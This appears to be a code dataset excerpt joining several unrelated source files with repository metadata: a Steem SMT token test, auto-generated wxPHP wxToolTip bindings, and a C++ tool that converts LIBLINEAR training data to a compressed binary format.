transfer.from = "george"; transfer.to = STEEM_NULL_ACCOUNT; transfer.amount = asset( georges_burn, symbol ); BOOST_TEST_MESSAGE( " --- SMT token burn" ); tx.clear(); tx.operations.push_back( transfer ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, george_private_key ); db->push_transaction( tx, 0 ); george_share -= georges_burn; supply -= georges_burn; BOOST_REQUIRE( approximately_equal( db->get_balance( db->get_account( "george" ), symbol ).amount, george_share ) ); BOOST_REQUIRE( db->get_balance( STEEM_NULL_ACCOUNT, symbol ).amount == 0 ); BOOST_REQUIRE( approximately_equal( token.current_supply, supply ) ); validate_database(); new_token_supply = token.max_supply - token.current_supply; emission_time += SMT_EMISSION_MIN_INTERVAL_SECONDS * 6; generate_blocks( emission_time ); generate_blocks( 11 ); BOOST_TEST_MESSAGE( " --- SMT token emissions re-emit after token burn" ); new_rewards = new_token_supply * emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_REWARDS ] / emissions_op3.emissions_unit.token_unit_sum(); new_market_maker = new_token_supply * emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_MARKET_MAKER ] / emissions_op3.emissions_unit.token_unit_sum(); new_vesting = new_token_supply * emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_VESTING ] / emissions_op3.emissions_unit.token_unit_sum(); new_george = new_token_supply * emissions_op3.emissions_unit.token_unit[ "george" ] / emissions_op3.emissions_unit.token_unit_sum(); BOOST_REQUIRE( approximately_equal( new_rewards + new_market_maker + new_vesting + new_george, new_token_supply ) ); supply += new_token_supply; BOOST_REQUIRE( approximately_equal( token.current_supply, supply ) ); market_maker += new_market_maker; BOOST_REQUIRE( approximately_equal( token.market_maker.token_balance.amount, market_maker ) ); vesting += new_vesting; BOOST_REQUIRE( approximately_equal( token.total_vesting_fund_smt, vesting ) ); rewards += new_rewards; BOOST_REQUIRE( approximately_equal( token.reward_balance.amount, rewards ) ); george_share += new_george; BOOST_REQUIRE( approximately_equal( db->get_balance( db->get_account( "george" ), symbol ).amount, george_share ) ); BOOST_REQUIRE( token.current_supply == 22399999999 ); BOOST_REQUIRE( token.max_supply >= token.current_supply ); validate_database(); } FC_LOG_AND_RETHROW() } BOOST_AUTO_TEST_CASE( smt_without_ico ) { try { BOOST_TEST_MESSAGE( "Testing SMT without ICO" ); ACTORS( (creator)(alice) ) generate_block(); BOOST_TEST_MESSAGE( " --- SMT creation" ); auto symbol = create_smt( "creator", creator_private_key, 3 ); const auto& token = db->get< smt_token_object, by_symbol >( symbol ); BOOST_TEST_MESSAGE( " --- SMT setup and token emission" ); signed_transaction tx; smt_setup_operation setup_op; setup_op.control_account = "creator"; setup_op.symbol = symbol; setup_op.contribution_begin_time = db->head_block_time() + STEEM_BLOCK_INTERVAL; setup_op.contribution_end_time = setup_op.contribution_begin_time; setup_op.steem_units_min = 0; setup_op.min_unit_ratio = 50; setup_op.max_unit_ratio = 100; setup_op.max_supply = STEEM_MAX_SHARE_SUPPLY; setup_op.launch_time = setup_op.contribution_end_time; smt_setup_emissions_operation token_emission_op; token_emission_op.symbol = symbol; token_emission_op.control_account = "creator"; token_emission_op.emissions_unit.token_unit[ "alice" ] = 1; token_emission_op.schedule_time = setup_op.launch_time + STEEM_BLOCK_INTERVAL; token_emission_op.interval_count = 1; token_emission_op.interval_seconds = SMT_EMISSION_MIN_INTERVAL_SECONDS; token_emission_op.lep_abs_amount = 1000000; token_emission_op.rep_abs_amount = 1000000; tx.operations.push_back( token_emission_op ); tx.operations.push_back( setup_op ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, creator_private_key ); db->push_transaction( tx, 0 ); tx.operations.clear(); tx.signatures.clear(); BOOST_REQUIRE( token.phase == smt_phase::setup_completed ); generate_blocks( setup_op.launch_time ); generate_blocks( token_emission_op.schedule_time ); BOOST_REQUIRE( token.phase == smt_phase::launch_success ); generate_block(); BOOST_TEST_MESSAGE( " --- Checking account balance" ); BOOST_REQUIRE( db->get_balance( "alice", symbol ).amount == 1000000 ); validate_database(); } FC_LOG_AND_RETHROW() } BOOST_AUTO_TEST_SUITE_END() #endif
44.898719
180
0.685605
warrenween
7c2578e03438b92d3f544517ff966bde7333b792
19,360
cpp
C++
help.cpp
lordgnu/wxPHP
368a75c893039e5eaa31bc1ee38e341991039f3f
[ "PHP-3.01" ]
1
2019-02-07T23:18:31.000Z
2019-02-07T23:18:31.000Z
help.cpp
lordgnu/wxPHP
368a75c893039e5eaa31bc1ee38e341991039f3f
[ "PHP-3.01" ]
null
null
null
help.cpp
lordgnu/wxPHP
368a75c893039e5eaa31bc1ee38e341991039f3f
[ "PHP-3.01" ]
null
null
null
/* * @author Mário Soares * @contributors Jefferson González * * @license * This file is part of wxPHP check the LICENSE file for information. * * @note * This file was auto-generated by the wxPHP source maker */ #include "php_wxwidgets.h" #include "appmanagement.h" #include "cfg.h" #include "bookctrl.h" #include "dnd.h" #include "cmndlg.h" #include "containers.h" #include "ctrl.h" #include "data.h" #include "dc.h" #include "docview.h" #include "events.h" #include "file.h" #include "gdi.h" #include "grid.h" #include "html.h" #include "help.h" #include "logging.h" #include "managedwnd.h" #include "menus.h" #include "misc.h" #include "miscwnd.h" #include "media.h" #include "pickers.h" #include "printing.h" #include "ribbon.h" #include "richtext.h" #include "rtti.h" #include "stc.h" #include "streams.h" #include "threading.h" #include "validator.h" #include "vfs.h" #include "aui.h" #include "winlayout.h" #include "xml.h" #include "xrc.h" #include "dvc.h" #include "others.h" void php_wxToolTip_destruction_handler(zend_rsrc_list_entry *rsrc TSRMLS_DC) { #ifdef USE_WXPHP_DEBUG php_printf("Calling php_wxToolTip_destruction_handler on %s at line %i\n", zend_get_executed_filename(TSRMLS_C), zend_get_executed_lineno(TSRMLS_C)); php_printf("===========================================\n"); #endif wxToolTip_php* object = static_cast<wxToolTip_php*>(rsrc->ptr); if(rsrc->ptr != NULL) { #ifdef USE_WXPHP_DEBUG php_printf("Pointer not null\n"); php_printf("Pointer address %x\n", (unsigned int)(size_t)rsrc->ptr); #endif if(object->references.IsUserInitialized()) { #ifdef USE_WXPHP_DEBUG php_printf("Deleting pointer with delete\n"); #endif delete object; rsrc->ptr = NULL; } #ifdef USE_WXPHP_DEBUG php_printf("Deletion of wxToolTip done\n"); php_printf("===========================================\n\n"); #endif } else { #ifdef USE_WXPHP_DEBUG php_printf("Not user space initialized\n"); #endif } } PHP_METHOD(php_wxToolTip, __construct) { #ifdef USE_WXPHP_DEBUG php_printf("Invoking wxToolTip::__construct\n"); php_printf("===========================================\n"); #endif //In case the constructor uses objects zval **tmp; int rsrc_type; int id_to_find; char _wxResource[] = "wxResource"; //Other variables used thru the code int arguments_received = ZEND_NUM_ARGS(); void *_this; zval* dummy; bool already_called = false; //Parameters for overload 0 char* tip0; long tip_len0; bool overload0_called = false; //Overload 0 overload0: if(!already_called && arguments_received == 1) { #ifdef USE_WXPHP_DEBUG php_printf("Parameters received %d\n", arguments_received); php_printf("Parsing parameters with 's' (&tip0, &tip_len0)\n"); #endif char parse_parameters_string[] = "s"; if(zend_parse_parameters_ex(ZEND_PARSE_PARAMS_QUIET, arguments_received TSRMLS_CC, parse_parameters_string, &tip0, &tip_len0 ) == SUCCESS) { overload0_called = true; already_called = true; } } if(overload0_called) { switch(arguments_received) { case 1: { #ifdef USE_WXPHP_DEBUG php_printf("Executing __construct(wxString(tip0, wxConvUTF8))\n"); #endif _this = new wxToolTip_php(wxString(tip0, wxConvUTF8)); ((wxToolTip_php*) _this)->references.Initialize(); break; } } } if(already_called) { long id_to_find = zend_list_insert(_this, le_wxToolTip); add_property_resource(getThis(), _wxResource, id_to_find); MAKE_STD_ZVAL(((wxToolTip_php*) _this)->evnArray); array_init(((wxToolTip_php*) _this)->evnArray); ((wxToolTip_php*) _this)->phpObj = getThis(); ((wxToolTip_php*) _this)->InitProperties(); #ifdef ZTS ((wxToolTip_php*) _this)->TSRMLS_C = TSRMLS_C; #endif } else { zend_error(E_ERROR, "Abstract type: failed to call a proper constructor"); } #ifdef USE_WXPHP_DEBUG php_printf("===========================================\n\n"); #endif } PHP_METHOD(php_wxToolTip, SetTip) { #ifdef USE_WXPHP_DEBUG php_printf("Invoking wxToolTip::SetTip\n"); php_printf("===========================================\n"); #endif //In case the constructor uses objects zval **tmp; int rsrc_type; int parent_rsrc_type; int id_to_find; char _wxResource[] = "wxResource"; //Other variables used thru the code int arguments_received = ZEND_NUM_ARGS(); void *_this; zval* dummy; bool already_called = false; wxPHPObjectReferences* references; bool return_is_user_initialized = false; //Get pointer of object that called this method if not a static method if (getThis() != NULL) { if(zend_hash_find(Z_OBJPROP_P(getThis()), _wxResource, sizeof(_wxResource), (void **)&tmp) == FAILURE) { zend_error(E_ERROR, "Failed to get the parent object that called wxToolTip::SetTip\n"); return; } else { id_to_find = Z_RESVAL_P(*tmp); _this = zend_list_find(id_to_find, &parent_rsrc_type); bool reference_type_found = false; if(parent_rsrc_type == le_wxToolTip){ references = &((wxToolTip_php*)_this)->references; reference_type_found = true; } } } else { #ifdef USE_WXPHP_DEBUG php_printf("Processing the method call as static\n"); #endif } //Parameters for overload 0 char* tip0; long tip_len0; bool overload0_called = false; //Overload 0 overload0: if(!already_called && arguments_received == 1) { #ifdef USE_WXPHP_DEBUG php_printf("Parameters received %d\n", arguments_received); php_printf("Parsing parameters with 's' (&tip0, &tip_len0)\n"); #endif char parse_parameters_string[] = "s"; if(zend_parse_parameters_ex(ZEND_PARSE_PARAMS_QUIET, arguments_received TSRMLS_CC, parse_parameters_string, &tip0, &tip_len0 ) == SUCCESS) { overload0_called = true; already_called = true; } } if(overload0_called) { switch(arguments_received) { case 1: { #ifdef USE_WXPHP_DEBUG php_printf("Executing wxToolTip::SetTip(wxString(tip0, wxConvUTF8))\n\n"); #endif ((wxToolTip_php*)_this)->SetTip(wxString(tip0, wxConvUTF8)); return; break; } } } } PHP_METHOD(php_wxToolTip, SetReshow) { #ifdef USE_WXPHP_DEBUG php_printf("Invoking wxToolTip::SetReshow\n"); php_printf("===========================================\n"); #endif //In case the constructor uses objects zval **tmp; int rsrc_type; int parent_rsrc_type; int id_to_find; char _wxResource[] = "wxResource"; //Other variables used thru the code int arguments_received = ZEND_NUM_ARGS(); void *_this; zval* dummy; bool already_called = false; wxPHPObjectReferences* references; bool return_is_user_initialized = false; //Get pointer of object that called this method if not a static method if (getThis() != NULL) { if(zend_hash_find(Z_OBJPROP_P(getThis()), _wxResource, sizeof(_wxResource), (void **)&tmp) == FAILURE) { zend_error(E_ERROR, "Failed to get the parent object that called wxToolTip::SetReshow\n"); return; } else { id_to_find = Z_RESVAL_P(*tmp); _this = zend_list_find(id_to_find, &parent_rsrc_type); bool reference_type_found = false; if(parent_rsrc_type == le_wxToolTip){ references = &((wxToolTip_php*)_this)->references; reference_type_found = true; } } } else { #ifdef USE_WXPHP_DEBUG php_printf("Processing the method call as static\n"); #endif } //Parameters for overload 0 long msecs0; bool overload0_called = false; //Overload 0 overload0: if(!already_called && arguments_received == 1) { #ifdef USE_WXPHP_DEBUG php_printf("Parameters received %d\n", arguments_received); php_printf("Parsing parameters with 'l' (&msecs0)\n"); #endif char parse_parameters_string[] = "l"; if(zend_parse_parameters_ex(ZEND_PARSE_PARAMS_QUIET, arguments_received TSRMLS_CC, parse_parameters_string, &msecs0 ) == SUCCESS) { overload0_called = true; already_called = true; } } if(overload0_called) { switch(arguments_received) { case 1: { #ifdef USE_WXPHP_DEBUG php_printf("Static "); php_printf("Executing wxToolTip::SetReshow((long) msecs0)\n\n"); #endif wxToolTip::SetReshow((long) msecs0); return; break; } } } } PHP_METHOD(php_wxToolTip, SetDelay) { #ifdef USE_WXPHP_DEBUG php_printf("Invoking wxToolTip::SetDelay\n"); php_printf("===========================================\n"); #endif //In case the constructor uses objects zval **tmp; int rsrc_type; int parent_rsrc_type; int id_to_find; char _wxResource[] = "wxResource"; //Other variables used thru the code int arguments_received = ZEND_NUM_ARGS(); void *_this; zval* dummy; bool already_called = false; wxPHPObjectReferences* references; bool return_is_user_initialized = false; //Get pointer of object that called this method if not a static method if (getThis() != NULL) { if(zend_hash_find(Z_OBJPROP_P(getThis()), _wxResource, sizeof(_wxResource), (void **)&tmp) == FAILURE) { zend_error(E_ERROR, "Failed to get the parent object that called wxToolTip::SetDelay\n"); return; } else { id_to_find = Z_RESVAL_P(*tmp); _this = zend_list_find(id_to_find, &parent_rsrc_type); bool reference_type_found = false; if(parent_rsrc_type == le_wxToolTip){ references = &((wxToolTip_php*)_this)->references; reference_type_found = true; } } } else { #ifdef USE_WXPHP_DEBUG php_printf("Processing the method call as static\n"); #endif } //Parameters for overload 0 long msecs0; bool overload0_called = false; //Overload 0 overload0: if(!already_called && arguments_received == 1) { #ifdef USE_WXPHP_DEBUG php_printf("Parameters received %d\n", arguments_received); php_printf("Parsing parameters with 'l' (&msecs0)\n"); #endif char parse_parameters_string[] = "l"; if(zend_parse_parameters_ex(ZEND_PARSE_PARAMS_QUIET, arguments_received TSRMLS_CC, parse_parameters_string, &msecs0 ) == SUCCESS) { overload0_called = true; already_called = true; } } if(overload0_called) { switch(arguments_received) { case 1: { #ifdef USE_WXPHP_DEBUG php_printf("Static "); php_printf("Executing wxToolTip::SetDelay((long) msecs0)\n\n"); #endif wxToolTip::SetDelay((long) msecs0); return; break; } } } } PHP_METHOD(php_wxToolTip, SetAutoPop) { #ifdef USE_WXPHP_DEBUG php_printf("Invoking wxToolTip::SetAutoPop\n"); php_printf("===========================================\n"); #endif //In case the constructor uses objects zval **tmp; int rsrc_type; int parent_rsrc_type; int id_to_find; char _wxResource[] = "wxResource"; //Other variables used thru the code int arguments_received = ZEND_NUM_ARGS(); void *_this; zval* dummy; bool already_called = false; wxPHPObjectReferences* references; bool return_is_user_initialized = false; //Get pointer of object that called this method if not a static method if (getThis() != NULL) { if(zend_hash_find(Z_OBJPROP_P(getThis()), _wxResource, sizeof(_wxResource), (void **)&tmp) == FAILURE) { zend_error(E_ERROR, "Failed to get the parent object that called wxToolTip::SetAutoPop\n"); return; } else { id_to_find = Z_RESVAL_P(*tmp); _this = zend_list_find(id_to_find, &parent_rsrc_type); bool reference_type_found = false; if(parent_rsrc_type == le_wxToolTip){ references = &((wxToolTip_php*)_this)->references; reference_type_found = true; } } } else { #ifdef USE_WXPHP_DEBUG php_printf("Processing the method call as static\n"); #endif } //Parameters for overload 0 long msecs0; bool overload0_called = false; //Overload 0 overload0: if(!already_called && arguments_received == 1) { #ifdef USE_WXPHP_DEBUG php_printf("Parameters received %d\n", arguments_received); php_printf("Parsing parameters with 'l' (&msecs0)\n"); #endif char parse_parameters_string[] = "l"; if(zend_parse_parameters_ex(ZEND_PARSE_PARAMS_QUIET, arguments_received TSRMLS_CC, parse_parameters_string, &msecs0 ) == SUCCESS) { overload0_called = true; already_called = true; } } if(overload0_called) { switch(arguments_received) { case 1: { #ifdef USE_WXPHP_DEBUG php_printf("Static "); php_printf("Executing wxToolTip::SetAutoPop((long) msecs0)\n\n"); #endif wxToolTip::SetAutoPop((long) msecs0); return; break; } } } } PHP_METHOD(php_wxToolTip, GetWindow) { #ifdef USE_WXPHP_DEBUG php_printf("Invoking wxToolTip::GetWindow\n"); php_printf("===========================================\n"); #endif //In case the constructor uses objects zval **tmp; int rsrc_type; int parent_rsrc_type; int id_to_find; char _wxResource[] = "wxResource"; //Other variables used thru the code int arguments_received = ZEND_NUM_ARGS(); void *_this; zval* dummy; bool already_called = false; wxPHPObjectReferences* references; bool return_is_user_initialized = false; //Get pointer of object that called this method if not a static method if (getThis() != NULL) { if(zend_hash_find(Z_OBJPROP_P(getThis()), _wxResource, sizeof(_wxResource), (void **)&tmp) == FAILURE) { zend_error(E_ERROR, "Failed to get the parent object that called wxToolTip::GetWindow\n"); return; } else { id_to_find = Z_RESVAL_P(*tmp); _this = zend_list_find(id_to_find, &parent_rsrc_type); bool reference_type_found = false; if(parent_rsrc_type == le_wxToolTip){ references = &((wxToolTip_php*)_this)->references; reference_type_found = true; } } } else { #ifdef USE_WXPHP_DEBUG php_printf("Processing the method call as static\n"); #endif } //Parameters for overload 0 bool overload0_called = false; //Overload 0 overload0: if(!already_called && arguments_received == 0) { #ifdef USE_WXPHP_DEBUG php_printf("Parameters received %d\n", arguments_received); php_printf("Parsing parameters with '' ()\n"); #endif overload0_called = true; already_called = true; } if(overload0_called) { switch(arguments_received) { case 0: { #ifdef USE_WXPHP_DEBUG php_printf("Executing wxToolTip::GetWindow() to return object pointer\n\n"); #endif wxWindow_php* value_to_return0; value_to_return0 = (wxWindow_php*) ((wxToolTip_php*)_this)->GetWindow(); if(value_to_return0 == NULL){ ZVAL_NULL(return_value); } else if(value_to_return0->references.IsUserInitialized()){ if(value_to_return0->phpObj != NULL){ *return_value = *value_to_return0->phpObj; zval_add_ref(&value_to_return0->phpObj); return_is_user_initialized = true; } else{ zend_error(E_ERROR, "Could not retreive original zval."); } } else{ object_init_ex(return_value,php_wxWindow_entry); add_property_resource(return_value, "wxResource", zend_list_insert(value_to_return0, le_wxWindow)); } if(Z_TYPE_P(return_value) != IS_NULL && value_to_return0 != _this && return_is_user_initialized){ references->AddReference(return_value); } return; break; } } } } PHP_METHOD(php_wxToolTip, GetTip) { #ifdef USE_WXPHP_DEBUG php_printf("Invoking wxToolTip::GetTip\n"); php_printf("===========================================\n"); #endif //In case the constructor uses objects zval **tmp; int rsrc_type; int parent_rsrc_type; int id_to_find; char _wxResource[] = "wxResource"; //Other variables used thru the code int arguments_received = ZEND_NUM_ARGS(); void *_this; zval* dummy; bool already_called = false; wxPHPObjectReferences* references; bool return_is_user_initialized = false; //Get pointer of object that called this method if not a static method if (getThis() != NULL) { if(zend_hash_find(Z_OBJPROP_P(getThis()), _wxResource, sizeof(_wxResource), (void **)&tmp) == FAILURE) { zend_error(E_ERROR, "Failed to get the parent object that called wxToolTip::GetTip\n"); return; } else { id_to_find = Z_RESVAL_P(*tmp); _this = zend_list_find(id_to_find, &parent_rsrc_type); bool reference_type_found = false; if(parent_rsrc_type == le_wxToolTip){ references = &((wxToolTip_php*)_this)->references; reference_type_found = true; } } } else { #ifdef USE_WXPHP_DEBUG php_printf("Processing the method call as static\n"); #endif } //Parameters for overload 0 bool overload0_called = false; //Overload 0 overload0: if(!already_called && arguments_received == 0) { #ifdef USE_WXPHP_DEBUG php_printf("Parameters received %d\n", arguments_received); php_printf("Parsing parameters with '' ()\n"); #endif overload0_called = true; already_called = true; } if(overload0_called) { switch(arguments_received) { case 0: { #ifdef USE_WXPHP_DEBUG php_printf("Executing RETURN_STRING(wxToolTip::GetTip().fn_str(), 1)\n\n"); #endif wxString value_to_return0; value_to_return0 = ((wxToolTip_php*)_this)->GetTip(); char* temp_string0; temp_string0 = (char*)malloc(sizeof(wxChar)*(value_to_return0.size()+1)); strcpy (temp_string0, (const char *) value_to_return0.char_str() ); ZVAL_STRING(return_value, temp_string0, 1); free(temp_string0); return; break; } } } } PHP_METHOD(php_wxToolTip, Enable) { #ifdef USE_WXPHP_DEBUG php_printf("Invoking wxToolTip::Enable\n"); php_printf("===========================================\n"); #endif //In case the constructor uses objects zval **tmp; int rsrc_type; int parent_rsrc_type; int id_to_find; char _wxResource[] = "wxResource"; //Other variables used thru the code int arguments_received = ZEND_NUM_ARGS(); void *_this; zval* dummy; bool already_called = false; wxPHPObjectReferences* references; bool return_is_user_initialized = false; //Get pointer of object that called this method if not a static method if (getThis() != NULL) { if(zend_hash_find(Z_OBJPROP_P(getThis()), _wxResource, sizeof(_wxResource), (void **)&tmp) == FAILURE) { zend_error(E_ERROR, "Failed to get the parent object that called wxToolTip::Enable\n"); return; } else { id_to_find = Z_RESVAL_P(*tmp); _this = zend_list_find(id_to_find, &parent_rsrc_type); bool reference_type_found = false; if(parent_rsrc_type == le_wxToolTip){ references = &((wxToolTip_php*)_this)->references; reference_type_found = true; } } } else { #ifdef USE_WXPHP_DEBUG php_printf("Processing the method call as static\n"); #endif } //Parameters for overload 0 bool flag0; bool overload0_called = false; //Overload 0 overload0: if(!already_called && arguments_received == 1) { #ifdef USE_WXPHP_DEBUG php_printf("Parameters received %d\n", arguments_received); php_printf("Parsing parameters with 'b' (&flag0)\n"); #endif char parse_parameters_string[] = "b"; if(zend_parse_parameters_ex(ZEND_PARSE_PARAMS_QUIET, arguments_received TSRMLS_CC, parse_parameters_string, &flag0 ) == SUCCESS) { overload0_called = true; already_called = true; } } if(overload0_called) { switch(arguments_received) { case 1: { #ifdef USE_WXPHP_DEBUG php_printf("Static "); php_printf("Executing wxToolTip::Enable(flag0)\n\n"); #endif wxToolTip::Enable(flag0); return; break; } } } }
22.857143
150
0.68311
lordgnu
7c27677bde4a78e8e6511d93aa320d6e2f104bbd
6,944
cpp
C++
convert2binary.cpp
huanzhang12/passcode-fix
823da5538951ef8f52497de5499aeb2494ceea1c
[ "BSD-3-Clause" ]
3
2016-10-02T07:12:28.000Z
2020-10-04T22:00:53.000Z
convert2binary.cpp
huanzhang12/passcode-fix
823da5538951ef8f52497de5499aeb2494ceea1c
[ "BSD-3-Clause" ]
null
null
null
convert2binary.cpp
huanzhang12/passcode-fix
823da5538951ef8f52497de5499aeb2494ceea1c
[ "BSD-3-Clause" ]
4
2017-01-12T21:16:00.000Z
2020-10-04T22:01:05.000Z
#include <cstdio> #include <cstdlib> #include <cstring> #include <algorithm> #include <vector> #include <set> #include <errno.h> #include <assert.h> #include <sys/stat.h> #include <sys/types.h> #include <time.h> #include "block.h" #include "linear.h" #include "zlib/zlib.h" #define Malloc(type,n) (type *)malloc((n)*sizeof(type)) #define INF HUGE_VAL using namespace std; static char *line; static int max_line_len; static char* readline(FILE *input) { int len; if(fgets(line,max_line_len,input) == NULL) return NULL; while(strrchr(line,'\n') == NULL) { max_line_len *= 2; line = (char *) realloc(line,max_line_len); len = (int) strlen(line); if(fgets(line+len,max_line_len-len,input) == NULL) break; } return line; } void exit_with_help() { printf( "Usage: convert2binary training_set_file [training_binary]\n" //"options:\n" //"-c fmt: if fmt = 1 compressed format, if fmt = 0 binary format (default 1)\n" ); exit(1); } int datatype = COMPRESSION; int nsplits; #define CHUNKSIZE 2048 #define UNITSIZE 16 int zinit(z_stream *strm, int level = Z_DEFAULT_COMPRESSION) { strm->zalloc = Z_NULL; strm->zfree = Z_NULL; strm->opaque = Z_NULL; if(deflateInit(strm, level) != Z_OK) { deflateEnd(strm); fprintf(stderr,"z_stream initial fails\n"); exit(-1); } return 0; } long zwrite(const void *ptr, size_t size, size_t nmemb, z_stream *strm, FILE* fp, int flush = Z_NO_FLUSH) { unsigned char out[CHUNKSIZE * UNITSIZE]; unsigned int have; int state; long byteswritten = 0; strm->avail_in = (uInt)size*nmemb; strm->next_in = (unsigned char*)ptr; do { strm->avail_out = CHUNKSIZE * UNITSIZE; strm->next_out = out; state = deflate(strm, flush); /* no bad return value */ assert(state != Z_STREAM_ERROR); /* state not clobbered */ have = CHUNKSIZE * UNITSIZE - strm->avail_out; if (fwrite(out, 1, have, fp) != have || ferror(fp)) { deflateEnd(strm); fprintf(stderr,"Compression Error\n"); exit(-1); } byteswritten += have; } while (strm->avail_out == 0); assert(strm->avail_in == 0); /* all input will be used */ return byteswritten; } void parse_command_line(int argc, char **argv, char *input_file_name, char *model_file_name); class BlockInfo{ public: int l, n; unsigned long n_x_space; FILE* fp; z_stream strm; vector<unsigned long> offsets; vector<double> labels; // Add comment struct feature_node fnbuf[CHUNKSIZE]; unsigned long n_fnbuf; unsigned long n_output; const static int HeaderSize = sizeof(int)+sizeof(int)+sizeof(long)+sizeof(long); BlockInfo() { n_x_space = l = n = 0; n_output = n_fnbuf = 0; } void open_file(const char *filename) { fp = fopen(filename, "wb+"); fseek(fp, HeaderSize, SEEK_SET); if(datatype == COMPRESSION) zinit(&strm); } void close_file() { deflateEnd(&strm); fclose(fp); } void add_feature_node(struct feature_node& fn, int flag = 0) { // flag = 0 -> normal feature node // flag < 0 -> end of an instance n_x_space++; if(flag == 0) n = max(n, fn.index); else if(flag < 0) fn.index = -1; fnbuf[n_fnbuf++] = fn; if(n_fnbuf == CHUNKSIZE || flag < 0) { if(datatype == BINARY) { fwrite(fnbuf, sizeof(struct feature_node), n_fnbuf, fp); n_output += n_fnbuf * sizeof(struct feature_node); } else if (datatype == COMPRESSION) { n_output += zwrite(fnbuf, sizeof(struct feature_node), n_fnbuf, &strm, fp); } n_fnbuf = 0; } } bool add_instance(char* buf, int* y=NULL) { char *label_p, *idx, *val, *endptr; struct feature_node node; int label; l++; label_p = strtok(buf," \t"); label = (int) strtol(label_p, &endptr, 10); if(y) *y = label; if(endptr == label_p) return false; labels.push_back(label); offsets.push_back(n_x_space); while(1) { idx = strtok(NULL,":"); val = strtok(NULL," \t"); if(val == NULL) break; errno = 0; node.index = (int) strtol(idx,&endptr,10); if(endptr == idx || errno != 0 || *endptr != '\0' || node.index <= 0) return false; errno = 0; node.value = strtod(val,&endptr); if(endptr == val || errno != 0 || (*endptr != '\0' && !isspace(*endptr))) return false; add_feature_node(node); } node.value = 1; add_feature_node(node, -1); // For adding bias add_feature_node(node, -1); // For end of instance return true; } // footer contains the label yi and the offset of xi void emit_footer() { if(datatype == BINARY) { fwrite(&labels.front(), sizeof(double), l, fp); fwrite(&offsets.front(), sizeof(unsigned long), l, fp); n_output += l * (sizeof(double) + sizeof(unsigned long)); } else if (datatype == COMPRESSION) { n_output += zwrite(&labels.front(), sizeof(double), l, &strm, fp); n_output += zwrite(&offsets.front(), sizeof(unsigned long), l, &strm, fp,Z_FINISH); } } void emit_header() { rewind(fp); fwrite(&l, sizeof(int), 1, fp); fwrite(&n, sizeof(int), 1, fp); fwrite(&n_x_space, sizeof(unsigned long), 1, fp); fwrite(&n_output, sizeof(unsigned long), 1, fp); } }; int main(int argc, char* argv[]) { char input_file_name[1024]; char binary_dir_name[1024]; char buf[1024]; time_t start_t = time(NULL); parse_command_line(argc, argv, input_file_name, binary_dir_name); srand(1); BlockInfo block_info; max_line_len = 1024; nsplits = 1; line = Malloc(char,max_line_len); FILE *input = fopen(input_file_name, "r"); if(input == NULL) { fprintf(stderr, "can't open input file %s\n", input_file_name); exit(1); } block_info.open_file(binary_dir_name); int l = 0, y; while(1) { int i; for(i = 0; i < nsplits && readline(input) != NULL; ++i) { l++; if(block_info.add_instance(line, &y) == false) { fprintf(stderr,"Wrong Input Formt at line %d.\n", l); return -1; } if(l%10000 == 0) { printf("."); fflush(stdout); } } if(i < nsplits) break; } if(l>10000) printf("\n"); block_info.emit_footer(); block_info.emit_header(); block_info.close_file(); fclose(input); free(line); printf("time : %.5g\n", difftime(time(NULL), start_t)); return 0; } void parse_command_line(int argc, char **argv, char *input_file_name, char *binary_dir_name) { int i; // default values datatype = COMPRESSION; // parse options for(i=1;i<argc;i++) { if(argv[i][0] != '-') break; if(++i>=argc) exit_with_help(); switch(argv[i-1][1]) { case 'c': datatype = atoi(argv[i]); break; default: fprintf(stderr,"unknown option: -%c\n", argv[i-1][1]); exit_with_help(); break; } } // determine filenames if(i>=argc) exit_with_help(); strcpy(input_file_name, argv[i]); if(i<argc-1) strcpy(binary_dir_name,argv[i+1]); else { char *p = strrchr(argv[i],'/'); if(p==NULL) p = argv[i]; else ++p; sprintf(binary_dir_name,"%s.cbin",p); } }
21.974684
105
0.628168
huanzhang12
7c2770ee726c4901b7287ec15c6172b6e11f9b37
276
cpp
C++
src/Data/Container.cpp
InDieTasten/IDT.EXP
6d6229d5638297ba061b188edbbe394df33d70b0
[ "MIT" ]
null
null
null
src/Data/Container.cpp
InDieTasten/IDT.EXP
6d6229d5638297ba061b188edbbe394df33d70b0
[ "MIT" ]
56
2017-03-30T14:45:29.000Z
2017-03-30T14:46:29.000Z
src/Data/Container.cpp
InDieTasten-Legacy/--EXP-old-
6d6229d5638297ba061b188edbbe394df33d70b0
[ "MIT" ]
1
2015-05-08T19:23:51.000Z
2015-05-08T19:23:51.000Z
#include <Data\Container.hpp> Container::Container() : Attachable(), Taggable() { EXP::log("[Info]Container has been constructed: " + utils::tostring(this)); } Container::~Container() { EXP::log("[Info]Container has been destrcuted: " + utils::tostring(this)); }
25.090909
77
0.666667
InDieTasten
7c2c004b763b791b466a7c3062947b48e9dd31c0
1,685
cpp
C++
src/epcq.cpp
uis246/openFPGALoader
312b8d25659857301df17b4b4daa55a1fe3f23cb
[ "Apache-2.0" ]
505
2019-12-09T10:47:15.000Z
2022-03-31T09:04:10.000Z
src/epcq.cpp
uis246/openFPGALoader
312b8d25659857301df17b4b4daa55a1fe3f23cb
[ "Apache-2.0" ]
203
2019-12-06T10:57:48.000Z
2022-03-31T17:57:08.000Z
src/epcq.cpp
uis246/openFPGALoader
312b8d25659857301df17b4b4daa55a1fe3f23cb
[ "Apache-2.0" ]
106
2019-12-06T12:12:56.000Z
2022-03-31T10:38:11.000Z
